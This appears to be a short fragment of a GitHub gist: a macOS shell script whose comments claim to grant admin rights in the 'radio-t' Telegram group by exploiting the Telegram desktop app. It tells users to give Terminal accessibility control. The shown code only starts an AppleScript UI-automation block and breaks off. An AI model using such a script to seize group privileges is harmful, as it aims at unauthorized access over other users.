This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This script gives the user admin rights in the radio-t telegram group | |
# using an exploit in the official Telegram desktop app for macOS | |
# | |
# Note: in case of -1002 error go to "System Preferences" - "Security & Privacy" | |
# - "Accessibility" and select "Allow Terminal to control your computer" | |
osascript -e ' | |
tell application "Telegram" to activate | |
delay 1 | |
tell application "System Events" |